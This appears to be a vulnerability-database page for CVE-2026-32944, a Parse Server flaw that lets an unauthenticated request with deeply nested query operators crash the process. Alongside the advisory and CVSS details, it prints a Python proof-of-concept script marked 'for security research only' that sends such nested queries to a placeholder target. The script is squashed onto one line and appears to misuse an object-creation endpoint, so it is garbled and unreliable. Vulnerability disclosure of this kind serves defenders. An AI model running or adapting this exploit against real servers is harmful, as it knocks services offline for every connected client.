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CVE-2026-32944 CVSS 7.5 HIGH

CVE-2026-32944

Published: 2026-03-18 22:16:26
Last Modified: 2026-03-19 16:46:28

Description

Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.21 and 8.6.45, an unauthenticated attacker can crash the Parse Server process by sending a single request with deeply nested query condition operators. This terminates the server and denies service to all connected clients. Starting in version 9.6.0-alpha.21 and 8.6.45, a depth limit for query condition operator nesting has been added via the `requestComplexity.queryDepth` server option. The option is disabled by default to avoid a breaking change. To mitigate, upgrade and set the option to a value appropriate for your app. No known workarounds are available.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha1:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha10:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha11:*:*:*:node.js:*:* - VULNERABLE
Parse Server < 9.6.0-alpha.21
Parse Server < 8.6.45

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-32944 PoC - Deep Nested Query DoS # Target: Parse Server < 9.6.0-alpha.21 or < 8.6.45 TARGET_URL = "http://target-server:1337/parse" def create_deep_nested_query(depth=100): """Generate deeply nested query condition operators""" query = {"$nor": [{"_id": "test"}]} current = query for i in range(depth): current["$and"] = [{"$or": [{"_id": f"test{i}"}]}] current = current["$and"][0] return query def exploit_cve_2026_32944(): """Exploit deep nested query to cause DoS""" headers = { "X-Parse-Application-Id": "test-app-id", "Content-Type": "application/json" } nested_query = create_deep_nested_query(depth=100) try: response = requests.post( f"{TARGET_URL}/classes/TestClass", headers=headers, json={"where": nested_query}, timeout=30 ) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") print("Target may have crashed due to DoS vulnerability") if __name__ == "__main__": exploit_cve_2026_32944()

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